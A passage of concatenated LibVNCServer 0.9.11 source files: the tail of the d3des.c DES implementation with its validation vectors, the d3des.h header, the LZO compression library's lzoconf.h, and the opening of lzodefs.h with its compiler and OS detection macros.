leftt; return; } /* Validation sets: * * Single-length key, single-length plaintext - * Key : 0123 4567 89ab cdef * Plain : 0123 4567 89ab cde7 * Cipher : c957 4425 6a5e d31d * * Double-length key, single-length plaintext - * Key : 0123 4567 89ab cdef fedc ba98 7654 3210 * Plain : 0123 4567 89ab cde7 * Cipher : 7f1d 0a77 826b 8aff * * Double-length key, double-length plaintext - * Key : 0123 4567 89ab cdef fedc ba98 7654 3210 * Plain : 0123 4567 89ab cdef 0123 4567 89ab cdff * Cipher : 27a0 8440 406a df60 278f 47cf 42d6 15d7 * * Triple-length key, single-length plaintext - * Key : 0123 4567 89ab cdef fedc ba98 7654 3210 89ab cdef 0123 4567 * Plain : 0123 4567 89ab cde7 * Cipher : de0b 7c06 ae5e 0ed5 * * Triple-length key, double-length plaintext - * Key : 0123 4567 89ab cdef fedc ba98 7654 3210 89ab cdef 0123 4567 * Plain : 0123 4567 89ab cdef 0123 4567 89ab cdff * Cipher : ad0d 1b30 ac17 cf07 0ed1 1c63 81e4 4de5 * * d3des V5.0a rwo 9208.07 18:44 Graven Imagery **********************************************************************/ libvncserver-LibVNCServer-0.9.11/common/d3des.h000066400000000000000000000032071303145525000212130ustar00rootroot00000000000000#ifndef D3DES_H #define D3DES_H /* * This is D3DES (V5.09) by Richard Outerbridge with the double and * triple-length support removed for use in VNC. * * These changes are: * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. */ /* d3des.h - * * Headers and defines for d3des.c * Graven Imagery, 1992. * * Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge * (GEnie : OUTER; CIS : [71755,204]) */ #define EN0 0 /* MODE == encrypt */ #define DE1 1 /* MODE == decrypt */ extern void rfbDesKey(unsigned char *, int); /* hexkey[8] MODE * Sets the internal key register according to the hexadecimal * key contained in the 8 bytes of hexkey, according to the DES, * for encryption or decryption according to MODE. */ extern void rfbUseKey(unsigned long *); /* cookedkey[32] * Loads the internal key register with the data in cookedkey. */ extern void rfbCPKey(unsigned long *); /* cookedkey[32] * Copies the contents of the internal key register into the storage * located at &cookedkey[0]. */ extern void rfbDes(unsigned char *, unsigned char *); /* from[8] to[8] * Encrypts/Decrypts (according to the key currently loaded in the * internal key register) one block of eight bytes at address 'from' * into the block at address 'to'. They can be the same. */ /* d3des.h V5.09 rwo 9208.04 15:06 Graven Imagery ********************************************************************/ #endif libvncserver-LibVNCServer-0.9.11/common/lzoconf.h000066400000000000000000000363501303145525000216700ustar00rootroot00000000000000/* lzoconf.h -- configuration of the LZO data compression library This file is part of the LZO real-time data compression library. Copyright (C) 1996-2014 Markus Franz Xaver Johannes Oberhumer All Rights Reserved. The LZO library is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. The LZO library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with the LZO library; see the file COPYING. If not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Markus F.X.J. Oberhumer http://www.oberhumer.com/opensource/lzo/ */ #ifndef __LZOCONF_H_INCLUDED #define __LZOCONF_H_INCLUDED 1 #define LZO_VERSION 0x2070 #define LZO_VERSION_STRING "2.07" #define LZO_VERSION_DATE "Jun 25 2014" /* internal Autoconf configuration file - only used when building LZO */ #if defined(LZO_HAVE_CONFIG_H) # include #endif #include #include /*********************************************************************** // LZO requires a conforming ************************************************************************/ #if !defined(CHAR_BIT) || (CHAR_BIT != 8) # error "invalid CHAR_BIT" #endif #if !defined(UCHAR_MAX) || !defined(USHRT_MAX) || !defined(UINT_MAX) || !defined(ULONG_MAX) # error "check your compiler installation" #endif #if (USHRT_MAX < 1) || (UINT_MAX < 1) || (ULONG_MAX < 1) # error "your limits.h macros are broken" #endif /* get OS and architecture defines */ #ifndef __LZODEFS_H_INCLUDED #include "lzodefs.h" #endif #ifdef __cplusplus extern "C" { #endif /*********************************************************************** // some core defines ************************************************************************/ /* memory checkers */ #if !defined(__LZO_CHECKER) # if defined(__BOUNDS_CHECKING_ON) # define __LZO_CHECKER 1 # elif defined(__CHECKER__) # define __LZO_CHECKER 1 # elif defined(__INSURE__) # define __LZO_CHECKER 1 # elif defined(__PURIFY__) # define __LZO_CHECKER 1 # endif #endif /*********************************************************************** // integral and pointer types ************************************************************************/ /* lzo_uint must match size_t */ #if !defined(LZO_UINT_MAX) # if (LZO_ABI_LLP64) # if (LZO_OS_WIN64) typedef unsigned __int64 lzo_uint; typedef __int64 lzo_int; # else typedef lzo_ullong_t lzo_uint; typedef lzo_llong_t lzo_int; # endif # define LZO_SIZEOF_LZO_UINT 8 # define LZO_UINT_MAX 0xffffffffffffffffull # define LZO_INT_MAX 9223372036854775807LL # define LZO_INT_MIN (-1LL - LZO_INT_MAX) # elif (LZO_ABI_IP32L64) /* MIPS R5900 */ typedef unsigned int lzo_uint; typedef int lzo_int; # define LZO_SIZEOF_LZO_UINT LZO_SIZEOF_INT # define LZO_UINT_MAX UINT_MAX # define LZO_INT_MAX INT_MAX # define LZO_INT_MIN INT_MIN # elif (ULONG_MAX >= LZO_0xffffffffL) typedef unsigned long lzo_uint; typedef long lzo_int; # define LZO_SIZEOF_LZO_UINT LZO_SIZEOF_LONG # define LZO_UINT_MAX ULONG_MAX # define LZO_INT_MAX LONG_MAX # define LZO_INT_MIN LONG_MIN # else # error "lzo_uint" # endif #endif /* The larger type of lzo_uint and lzo_uint32_t. */ #if (LZO_SIZEOF_LZO_UINT >= 4) # define lzo_xint lzo_uint #else # define lzo_xint lzo_uint32_t #endif typedef int lzo_bool; /* sanity checks */ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint) == LZO_SIZEOF_LZO_UINT) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_xint) >= sizeof(lzo_uint)) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_xint) >= sizeof(lzo_uint32_t)) #ifndef __LZO_MMODEL #define __LZO_MMODEL /*empty*/ #endif /* no typedef here because of const-pointer issues */ #define lzo_bytep unsigned char __LZO_MMODEL * #define lzo_charp char __LZO_MMODEL * #define lzo_voidp void __LZO_MMODEL * #define lzo_shortp short __LZO_MMODEL * #define lzo_ushortp unsigned short __LZO_MMODEL * #define lzo_intp lzo_int __LZO_MMODEL * #define lzo_uintp lzo_uint __LZO_MMODEL * #define lzo_xintp lzo_xint __LZO_MMODEL * #define lzo_voidpp lzo_voidp __LZO_MMODEL * #define lzo_bytepp lzo_bytep __LZO_MMODEL * #define lzo_int8_tp lzo_int8_t __LZO_MMODEL * #define lzo_uint8_tp lzo_uint8_t __LZO_MMODEL * #define lzo_int16_tp lzo_int16_t __LZO_MMODEL * #define lzo_uint16_tp lzo_uint16_t __LZO_MMODEL * #define lzo_int32_tp lzo_int32_t __LZO_MMODEL * #define lzo_uint32_tp lzo_uint32_t __LZO_MMODEL * #if defined(lzo_int64_t) #define lzo_int64_tp lzo_int64_t __LZO_MMODEL * #define lzo_uint64_tp lzo_uint64_t __LZO_MMODEL * #endif /* Older LZO versions used to support ancient systems and memory models * like 16-bit MSDOS with __huge pointers and Cray PVP, but these * obsolete configurations are not supported any longer. */ #if defined(__LZO_MMODEL_HUGE) #error "__LZO_MMODEL_HUGE is unsupported" #endif #if (LZO_MM_PVP) #error "LZO_MM_PVP is unsupported" #endif #if (LZO_SIZEOF_INT < 4) #error "LZO_SIZEOF_INT < 4 is unsupported" #endif #if (__LZO_UINTPTR_T_IS_POINTER) #error "__LZO_UINTPTR_T_IS_POINTER is unsupported" #endif LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(int) >= 4) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint) >= 4) /* Strange configurations where sizeof(lzo_uint) != sizeof(size_t) should * work but have not received much testing lately, so be strict here. */ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint) == sizeof(size_t)) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint) == sizeof(ptrdiff_t)) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint) == sizeof(lzo_uintptr_t)) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(void *) == sizeof(lzo_uintptr_t)) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(char *) == sizeof(lzo_uintptr_t)) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(long *) == sizeof(lzo_uintptr_t)) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(void *) == sizeof(lzo_voidp)) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(char *) == sizeof(lzo_bytep)) /*********************************************************************** // function types ************************************************************************/ /* name mangling */ #if !defined(__LZO_EXTERN_C) # ifdef __cplusplus # define __LZO_EXTERN_C extern "C" # else # define __LZO_EXTERN_C extern # endif #endif /* calling convention */ #if !defined(__LZO_CDECL) # define __LZO_CDECL __lzo_cdecl #endif /* DLL export information */ #if !defined(__LZO_EXPORT1) # define __LZO_EXPORT1 /*empty*/ #endif #if !defined(__LZO_EXPORT2) # define __LZO_EXPORT2 /*empty*/ #endif /* __cdecl calling convention for public C and assembly functions */ #if !defined(LZO_PUBLIC) # define LZO_PUBLIC(_rettype) __LZO_EXPORT1 _rettype __LZO_EXPORT2 __LZO_CDECL #endif #if !defined(LZO_EXTERN) # define LZO_EXTERN(_rettype) __LZO_EXTERN_C LZO_PUBLIC(_rettype) #endif #if !defined(LZO_PRIVATE) # define LZO_PRIVATE(_rettype) static _rettype __LZO_CDECL #endif /* function types */ typedef int (__LZO_CDECL *lzo_compress_t) ( const lzo_bytep src, lzo_uint src_len, lzo_bytep dst, lzo_uintp dst_len, lzo_voidp wrkmem ); typedef int (__LZO_CDECL *lzo_decompress_t) ( const lzo_bytep src, lzo_uint src_len, lzo_bytep dst, lzo_uintp dst_len, lzo_voidp wrkmem ); typedef int (__LZO_CDECL *lzo_optimize_t) ( lzo_bytep src, lzo_uint src_len, lzo_bytep dst, lzo_uintp dst_len, lzo_voidp wrkmem ); typedef int (__LZO_CDECL *lzo_compress_dict_t)(const lzo_bytep src, lzo_uint src_len, lzo_bytep dst, lzo_uintp dst_len, lzo_voidp wrkmem, const lzo_bytep dict, lzo_uint dict_len ); typedef int (__LZO_CDECL *lzo_decompress_dict_t)(const lzo_bytep src, lzo_uint src_len, lzo_bytep dst, lzo_uintp dst_len, lzo_voidp wrkmem, const lzo_bytep dict, lzo_uint dict_len ); /* Callback interface. Currently only the progress indicator ("nprogress") * is used, but this may change in a future release. */ struct lzo_callback_t; typedef struct lzo_callback_t lzo_callback_t; #define lzo_callback_p lzo_callback_t __LZO_MMODEL * /* malloc & free function types */ typedef lzo_voidp (__LZO_CDECL *lzo_alloc_func_t) (lzo_callback_p self, lzo_uint items, lzo_uint size); typedef void (__LZO_CDECL *lzo_free_func_t) (lzo_callback_p self, lzo_voidp ptr); /* a progress indicator callback function */ typedef void (__LZO_CDECL *lzo_progress_func_t) (lzo_callback_p, lzo_uint, lzo_uint, int); struct lzo_callback_t { /* custom allocators (set to 0 to disable) */ lzo_alloc_func_t nalloc; /* [not used right now] */ lzo_free_func_t nfree; /* [not used right now] */ /* a progress indicator callback function (set to 0 to disable) */ lzo_progress_func_t nprogress; /* INFO: the first parameter "self" of the nalloc/nfree/nprogress * callbacks points back to this struct, so you are free to store * some extra info in the following variables. */ lzo_voidp user1; lzo_xint user2; lzo_xint user3; }; /*********************************************************************** // error codes and prototypes ************************************************************************/ /* Error codes for the compression/decompression functions. Negative * values are errors, positive values will be used for special but * normal events. */ #define LZO_E_OK 0 #define LZO_E_ERROR (-1) #define LZO_E_OUT_OF_MEMORY (-2) /* [lzo_alloc_func_t failure] */ #define LZO_E_NOT_COMPRESSIBLE (-3) /* [not used right now] */ #define LZO_E_INPUT_OVERRUN (-4) #define LZO_E_OUTPUT_OVERRUN (-5) #define LZO_E_LOOKBEHIND_OVERRUN (-6) #define LZO_E_EOF_NOT_FOUND (-7) #define LZO_E_INPUT_NOT_CONSUMED (-8) #define LZO_E_NOT_YET_IMPLEMENTED (-9) /* [not used right now] */ #define LZO_E_INVALID_ARGUMENT (-10) #define LZO_E_INVALID_ALIGNMENT (-11) /* pointer argument is not properly aligned */ #define LZO_E_OUTPUT_NOT_CONSUMED (-12) #define LZO_E_INTERNAL_ERROR (-99) #ifndef lzo_sizeof_dict_t # define lzo_sizeof_dict_t ((unsigned)sizeof(lzo_bytep)) #endif /* lzo_init() should be the first function you call. * Check the return code ! * * lzo_init() is a macro to allow checking that the library and the * compiler's view of various types are consistent. */ #define lzo_init() __lzo_init_v2(LZO_VERSION,(int)sizeof(short),(int)sizeof(int),\ (int)sizeof(long),(int)sizeof(lzo_uint32_t),(int)sizeof(lzo_uint),\ (int)lzo_sizeof_dict_t,(int)sizeof(char *),(int)sizeof(lzo_voidp),\ (int)sizeof(lzo_callback_t)) LZO_EXTERN(int) __lzo_init_v2(unsigned,int,int,int,int,int,int,int,int,int); /* version functions (useful for shared libraries) */ LZO_EXTERN(unsigned) lzo_version(void); LZO_EXTERN(const char *) lzo_version_string(void); LZO_EXTERN(const char *) lzo_version_date(void); LZO_EXTERN(const lzo_charp) _lzo_version_string(void); LZO_EXTERN(const lzo_charp) _lzo_version_date(void); /* string functions */ LZO_EXTERN(int) lzo_memcmp(const lzo_voidp a, const lzo_voidp b, lzo_uint len); LZO_EXTERN(lzo_voidp) lzo_memcpy(lzo_voidp dst, const lzo_voidp src, lzo_uint len); LZO_EXTERN(lzo_voidp) lzo_memmove(lzo_voidp dst, const lzo_voidp src, lzo_uint len); LZO_EXTERN(lzo_voidp) lzo_memset(lzo_voidp buf, int c, lzo_uint len); /* checksum functions */ LZO_EXTERN(lzo_uint32_t) lzo_adler32(lzo_uint32_t c, const lzo_bytep buf, lzo_uint len); LZO_EXTERN(lzo_uint32_t) lzo_crc32(lzo_uint32_t c, const lzo_bytep buf, lzo_uint len); LZO_EXTERN(const lzo_uint32_tp) lzo_get_crc32_table(void); /* misc. */ LZO_EXTERN(int) _lzo_config_check(void); typedef union { lzo_voidp a00; lzo_bytep a01; lzo_uint a02; lzo_xint a03; lzo_uintptr_t a04; void *a05; unsigned char *a06; unsigned long a07; size_t a08; ptrdiff_t a09; #if defined(lzo_int64_t) lzo_uint64_t a10; #endif } lzo_align_t; /* align a char pointer on a boundary that is a multiple of 'size' */ LZO_EXTERN(unsigned) __lzo_align_gap(const lzo_voidp p, lzo_uint size); #define LZO_PTR_ALIGN_UP(p,size) \ ((p) + (lzo_uint) __lzo_align_gap((const lzo_voidp)(p),(lzo_uint)(size))) /*********************************************************************** // deprecated macros - only for backward compatibility ************************************************************************/ /* deprecated - use 'lzo_bytep' instead of 'lzo_byte *' */ #define lzo_byte unsigned char /* deprecated type names */ #define lzo_int32 lzo_int32_t #define lzo_uint32 lzo_uint32_t #define lzo_int32p lzo_int32_t __LZO_MMODEL * #define lzo_uint32p lzo_uint32_t __LZO_MMODEL * #define LZO_INT32_MAX LZO_INT32_C(2147483647) #define LZO_UINT32_MAX LZO_UINT32_C(4294967295) #if defined(lzo_int64_t) #define lzo_int64 lzo_int64_t #define lzo_uint64 lzo_uint64_t #define lzo_int64p lzo_int64_t __LZO_MMODEL * #define lzo_uint64p lzo_uint64_t __LZO_MMODEL * #define LZO_INT64_MAX LZO_INT64_C(9223372036854775807) #define LZO_UINT64_MAX LZO_UINT64_C(18446744073709551615) #endif /* deprecated types */ typedef union { lzo_bytep a; lzo_uint b; } __lzo_pu_u; typedef union { lzo_bytep a; lzo_uint32_t b; } __lzo_pu32_u; #if defined(LZO_CFG_COMPAT) #define __LZOCONF_H 1 #if defined(LZO_ARCH_I086) # define __LZO_i386 1 #elif defined(LZO_ARCH_I386) # define __LZO_i386 1 #endif #if defined(LZO_OS_DOS16) # define __LZO_DOS 1 # define __LZO_DOS16 1 #elif defined(LZO_OS_DOS32) # define __LZO_DOS 1 #elif defined(LZO_OS_WIN16) # define __LZO_WIN 1 # define __LZO_WIN16 1 #elif defined(LZO_OS_WIN32) # define __LZO_WIN 1 #endif #define __LZO_CMODEL /*empty*/ #define __LZO_DMODEL /*empty*/ #define __LZO_ENTRY __LZO_CDECL #define LZO_EXTERN_CDECL LZO_EXTERN #define LZO_ALIGN LZO_PTR_ALIGN_UP #define lzo_compress_asm_t lzo_compress_t #define lzo_decompress_asm_t lzo_decompress_t #endif /* LZO_CFG_COMPAT */ #ifdef __cplusplus } /* extern "C" */ #endif #endif /* already included */ /* vim:set ts=4 et: */ libvncserver-LibVNCServer-0.9.11/common/lzodefs.h000066400000000000000000003435171303145525000216720ustar00rootroot00000000000000/* lzodefs.h -- architecture, OS and compiler specific defines This file is part of the LZO real-time data compression library. Copyright (C) 1996-2014 Markus Franz Xaver Johannes Oberhumer All Rights Reserved. The LZO library is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. The LZO library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with the LZO library; see the file COPYING. If not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Markus F.X.J. Oberhumer http://www.oberhumer.com/opensource/lzo/ */ #ifndef __LZODEFS_H_INCLUDED #define __LZODEFS_H_INCLUDED 1 #if defined(__CYGWIN32__) && !defined(__CYGWIN__) # define __CYGWIN__ __CYGWIN32__ #endif #if 1 && defined(__INTERIX) && defined(__GNUC__) && !defined(_ALL_SOURCE) # define _ALL_SOURCE 1 #endif #if defined(__mips__) && defined(__R5900__) # if !defined(__LONG_MAX__) # define __LONG_MAX__ 9223372036854775807L # endif #endif #if !defined(LZO_CFG_NO_DISABLE_WUNDEF) #if defined(__ARMCC_VERSION) # pragma diag_suppress 193 #elif defined(__clang__) && defined(__clang_minor__) # pragma clang diagnostic ignored "-Wundef" #elif defined(__INTEL_COMPILER) # pragma warning(disable: 193) #elif defined(__KEIL__) && defined(__C166__) # pragma warning disable = 322 #elif defined(__GNUC__) && defined(__GNUC_MINOR__) && !defined(__PATHSCALE__) # if ((__GNUC__-0) >= 5 || ((__GNUC__-0) == 4 && (__GNUC_MINOR__-0) >= 2)) # pragma GCC diagnostic ignored "-Wundef" # endif #elif defined(_MSC_VER) && !defined(__clang__) && !defined(__INTEL_COMPILER) && !defined(__MWERKS__) # if ((_MSC_VER-0) >= 1300) # pragma warning(disable: 4668) # endif #endif #endif #if 0 && defined(__POCC__) && defined(_WIN32) # if (__POCC__ >= 400) # pragma warn(disable: 2216) # endif #endif #if 0 && defined(__WATCOMC__) # if (__WATCOMC__ >= 1050) && (__WATCOMC__ < 1060) # pragma warning 203 9 # endif #endif #if defined(__BORLANDC__) && defined(__MSDOS__) && !defined(__FLAT__) # pragma option -h #endif #if !(LZO_CFG_NO_DISABLE_WCRTNONSTDC) #ifndef _CRT_NONSTDC_NO_DEPRECATE #define _CRT_NONSTDC_NO_DEPRECATE 1 #endif #ifndef _CRT_NONSTDC_NO_WARNINGS #define _CRT_NONSTDC_NO_WARNINGS 1 #endif #ifndef _CRT_SECURE_NO_DEPRECATE #define _CRT_SECURE_NO_DEPRECATE 1 #endif #ifndef _CRT_SECURE_NO_WARNINGS #define _CRT_SECURE_NO_WARNINGS 1 #endif #endif #if 0 #define LZO_0xffffUL 0xfffful #define LZO_0xffffffffUL 0xfffffffful #else #define LZO_0xffffUL 65535ul #define LZO_0xffffffffUL 4294967295ul #endif #define LZO_0xffffL LZO_0xffffUL #define LZO_0xffffffffL LZO_0xffffffffUL #if (LZO_0xffffL == LZO_0xffffffffL) # error "your preprocessor is broken 1" #endif #if (16ul * 16384ul != 262144ul) # error "your preprocessor is broken 2" #endif #if 0 #if (32767 >= 4294967295ul) # error "your preprocessor is broken 3" #endif #if (65535u >= 4294967295ul) # error "your preprocessor is broken 4" #endif #endif #if defined(__COUNTER__) # ifndef LZO_CFG_USE_COUNTER # define LZO_CFG_USE_COUNTER 1 # endif #else # undef LZO_CFG_USE_COUNTER #endif #if (UINT_MAX == LZO_0xffffL) #if defined(__ZTC__) && defined(__I86__) && !defined(__OS2__) # if !defined(MSDOS) # define MSDOS 1 # endif # if !defined(_MSDOS) # define _MSDOS 1 # endif #elif 0 && defined(__VERSION) && defined(MB_LEN_MAX) # if (__VERSION == 520) && (MB_LEN_MAX == 1) # if !defined(__AZTEC_C__) # define __AZTEC_C__ __VERSION # endif # if !defined(__DOS__) # define __DOS__ 1 # endif # endif #endif #endif #if defined(_MSC_VER) && defined(M_I86HM) && (UINT_MAX == LZO_0xffffL) # define ptrdiff_t long # define _PTRDIFF_T_DEFINED 1 #endif #if (UINT_MAX == LZO_0xffffL) # undef __LZO_RENAME_A # undef __LZO_RENAME_B # if defined(__AZTEC_C__) && defined(__DOS__) # define __LZO_RENAME_A 1 # elif defined(_MSC_VER) && defined(MSDOS) # if (_MSC_VER < 600) # define __LZO_RENAME_A 1 # elif (_MSC_VER < 700) # define __LZO_RENAME_B 1 # endif # elif defined(__TSC__) && defined(__OS2__) # define __LZO_RENAME_A 1 # elif defined(__MSDOS__) && defined(__TURBOC__) && (__TURBOC__ < 0x0410) # define __LZO_RENAME_A 1 # elif defined(__PACIFIC__) && defined(DOS) # if !defined(__far) # define __far far # endif # if !defined(__near) # define __near near # endif # endif # if defined(__LZO_RENAME_A) # if !defined(__cdecl) # define __cdecl cdecl # endif # if !defined(__far) # define __far far # endif # if !defined(__huge) # define __huge huge # endif # if !defined(__near) # define __near near # endif # if !defined(__pascal) # define __pascal pascal # endif # if !defined(__huge) # define __huge huge # endif # elif defined(__LZO_RENAME_B) # if !defined(__cdecl) # define __cdecl _cdecl # endif # if !defined(__far) # define __far _far # endif # if !defined(__huge) # define __huge _huge # endif # if !defined(__near) # define __near _near # endif # if !defined(__pascal) # define __pascal _pascal # endif # elif (defined(__PUREC__) || defined(__TURBOC__)) && defined(__TOS__) # if !defined(__cdecl) # define __cdecl cdecl # endif # if !defined(__pascal) # define __pascal pascal # endif # endif # undef __LZO_RENAME_A # undef __LZO_RENAME_B #endif #if (UINT_MAX == LZO_0xffffL) #if defined(__AZTEC_C__) && defined(__DOS__) # define LZO_BROKEN_CDECL_ALT_SYNTAX 1 #elif defined(_MSC_VER) && defined(MSDOS) # if (_MSC_VER < 600) # define LZO_BROKEN_INTEGRAL_CONSTANTS 1 # endif # if (_MSC_VER < 700) # define LZO_BROKEN_INTEGRAL_PROMOTION 1 # define LZO_BROKEN_SIZEOF 1 # endif #elif defined(__PACIFIC__) && defined(DOS) # define LZO_BROKEN_INTEGRAL_CONSTANTS 1 #elif defined(__TURBOC__) && defined(__MSDOS__) # if (__TURBOC__ < 0x0150) # define LZO_BROKEN_CDECL_ALT_SYNTAX 1 # define LZO_BROKEN_INTEGRAL_CONSTANTS 1 # define LZO_BROKEN_INTEGRAL_PROMOTION 1 # endif # if (__TURBOC__ < 0x0200) # define LZO_BROKEN_SIZEOF 1 # endif # if (__TURBOC__ < 0x0400) && defined(__cplusplus) # define LZO_BROKEN_CDECL_ALT_SYNTAX 1 # endif #elif (defined(__PUREC__) || defined(__TURBOC__)) && defined(__TOS__) # define LZO_BROKEN_CDECL_ALT_SYNTAX 1 # define LZO_BROKEN_SIZEOF 1 #endif #endif #if defined(__WATCOMC__) && (__WATCOMC__ < 900) # define LZO_BROKEN_INTEGRAL_CONSTANTS 1 #endif #if defined(_CRAY) && defined(_CRAY1) # define LZO_BROKEN_SIGNED_RIGHT_SHIFT 1 #endif #define LZO_PP_STRINGIZE(x) #x #define LZO_PP_MACRO_EXPAND(x) LZO_PP_STRINGIZE(x) #define LZO_PP_CONCAT0() /*empty*/ #define LZO_PP_CONCAT1(a) a #define LZO_PP_CONCAT2(a,b) a ## b #define LZO_PP_CONCAT3(a,b,c) a ## b ## c #define LZO_PP_CONCAT4(a,b,c,d) a ## b ## c ## d #define LZO_PP_CONCAT5(a,b,c,d,e) a ## b ## c ## d ## e #define LZO_PP_CONCAT6(a,b,c,d,e,f) a ## b ## c ## d ## e ## f #define LZO_PP_CONCAT7(a,b,c,d,e,f,g) a ## b ## c ## d ## e ## f ## g #define LZO_PP_ECONCAT0() LZO_PP_CONCAT0() #define LZO_PP_ECONCAT1(a) LZO_PP_CONCAT1(a) #define LZO_PP_ECONCAT2(a,b) LZO_PP_CONCAT2(a,b) #define LZO_PP_ECONCAT3(a,b,c) LZO_PP_CONCAT3(a,b,c) #define LZO_PP_ECONCAT4(a,b,c,d) LZO_PP_CONCAT4(a,b,c,d) #define LZO_PP_ECONCAT5(a,b,c,d,e) LZO_PP_CONCAT5(a,b,c,d,e) #define LZO_PP_ECONCAT6(a,b,c,d,e,f) LZO_PP_CONCAT6(a,b,c,d,e,f) #define LZO_PP_ECONCAT7(a,b,c,d,e,f,g) LZO_PP_CONCAT7(a,b,c,d,e,f,g) #define LZO_PP_EMPTY /*empty*/ #define LZO_PP_EMPTY0() /*empty*/ #define LZO_PP_EMPTY1(a) /*empty*/ #define LZO_PP_EMPTY2(a,b) /*empty*/ #define LZO_PP_EMPTY3(a,b,c) /*empty*/ #define LZO_PP_EMPTY4(a,b,c,d) /*empty*/ #define LZO_PP_EMPTY5(a,b,c,d,e) /*empty*/ #define LZO_PP_EMPTY6(a,b,c,d,e,f) /*empty*/ #define LZO_PP_EMPTY7(a,b,c,d,e,f,g) /*empty*/ #if 1 #define LZO_CPP_STRINGIZE(x) #x #define LZO_CPP_MACRO_EXPAND(x) LZO_CPP_STRINGIZE(x) #define LZO_CPP_CONCAT2(a,b) a ## b #define LZO_CPP_CONCAT3(a,b,c) a ## b ## c #define LZO_CPP_CONCAT4(a,b,c,d) a ## b ## c ## d #define LZO_CPP_CONCAT5(a,b,c,d,e) a ## b ## c ## d ## e #define LZO_CPP_CONCAT6(a,b,c,d,e,f) a ## b ## c ## d ## e ## f #define LZO_CPP_CONCAT7(a,b,c,d,e,f,g) a ## b ## c ## d ## e ## f ## g #define LZO_CPP_ECONCAT2(a,b) LZO_CPP_CONCAT2(a,b) #define LZO_CPP_ECONCAT3(a,b,c) LZO_CPP_CONCAT3(a,b,c) #define LZO_CPP_ECONCAT4(a,b,c,d) LZO_CPP_CONCAT4(a,b,c,d) #define LZO_CPP_ECONCAT5(a,b,c,d,e) LZO_CPP_CONCAT5(a,b,c,d,e) #define LZO_CPP_ECONCAT6(a,b,c,d,e,f) LZO_CPP_CONCAT6(a,b,c,d,e,f) #define LZO_CPP_ECONCAT7(a,b,c,d,e,f,g) LZO_CPP_CONCAT7(a,b,c,d,e,f,g) #endif #define __LZO_MASK_GEN(o,b) (((((o) << ((b)-!!(b))) - (o)) << 1) + (o)*!!(b)) #if 1 && defined(__cplusplus) # if !defined(__STDC_CONSTANT_MACROS) # define __STDC_CONSTANT_MACROS 1 # endif # if !defined(__STDC_LIMIT_MACROS) # define __STDC_LIMIT_MACROS 1 # endif #endif #if defined(__cplusplus) # define LZO_EXTERN_C extern "C" # define LZO_EXTERN_C_BEGIN extern "C" { # define LZO_EXTERN_C_END } #else # define LZO_EXTERN_C extern # define LZO_EXTERN_C_BEGIN /*empty*/ # define LZO_EXTERN_C_END /*empty*/ #endif #if !defined(__LZO_OS_OVERRIDE) #if (LZO_OS_FREESTANDING) # define LZO_INFO_OS "freestanding" #elif (LZO_OS_EMBEDDED) # define LZO_INFO_OS "embedded" #elif 1 && defined(__IAR_SYSTEMS_ICC__) # define LZO_OS_EMBEDDED 1 # define LZO_INFO_OS "embedded" #elif defined(__CYGWIN__) && defined(__GNUC__) # define LZO_OS_CYGWIN 1 # define LZO_INFO_OS "cygwin" #elif defined(__EMX__) && defined(__GNUC__) # define LZO_OS_EMX 1 # define LZO_INFO_OS "emx" #elif defined(__BEOS__) # define LZO_OS_BEOS 1 # define LZO_INFO_OS "beos" #elif defined(__Lynx__) # define LZO_OS_LYNXOS 1 # define LZO_INFO_OS "lynxos" #elif defined(__OS400__) # define LZO_OS_OS400 1 # define LZO_INFO_OS "os400" #elif defined(__QNX__) # define LZO_OS_QNX 1 # define LZO_INFO_OS "qnx" #elif defined(__BORLANDC__) && defined(__DPMI32__) && (__BORLANDC__ >= 0x0460) # define LZO_OS_DOS32 1 # define LZO_INFO_OS "dos32" #elif defined(__BORLANDC__) && defined(__DPMI16__) # define LZO_OS_DOS16 1 # define LZO_INFO_OS "dos16" #elif defined(__ZTC__) && defined(DOS386) # define LZO_OS_DOS32 1 # define LZO_INFO_OS "dos32" #elif defined(__OS2__) || defined(__OS2V2__) # if (UINT_MAX == LZO_0xffffL) # define LZO_OS_OS216 1 # define LZO_INFO_OS "os216" # elif (UINT_MAX == LZO_0xffffffffL) # define LZO_OS_OS2 1 # define LZO_INFO_OS "os2" # else # error "check your limits.h header" # endif #elif defined(__WIN64__) || defined(_WIN64) || defined(WIN64) # define LZO_OS_WIN64 1 # define LZO_INFO_OS "win64" #elif defined(__WIN32__) || defined(_WIN32) || defined(WIN32) || defined(__WINDOWS_386__) # define LZO_OS_WIN32 1 # define LZO_INFO_OS "win32" #elif defined(__MWERKS__) && defined(__INTEL__) # define LZO_OS_WIN32 1 # define LZO_INFO_OS "win32" #elif defined(__WINDOWS__) || defined(_WINDOWS) || defined(_Windows) # if (UINT_MAX == LZO_0xffffL) # define LZO_OS_WIN16 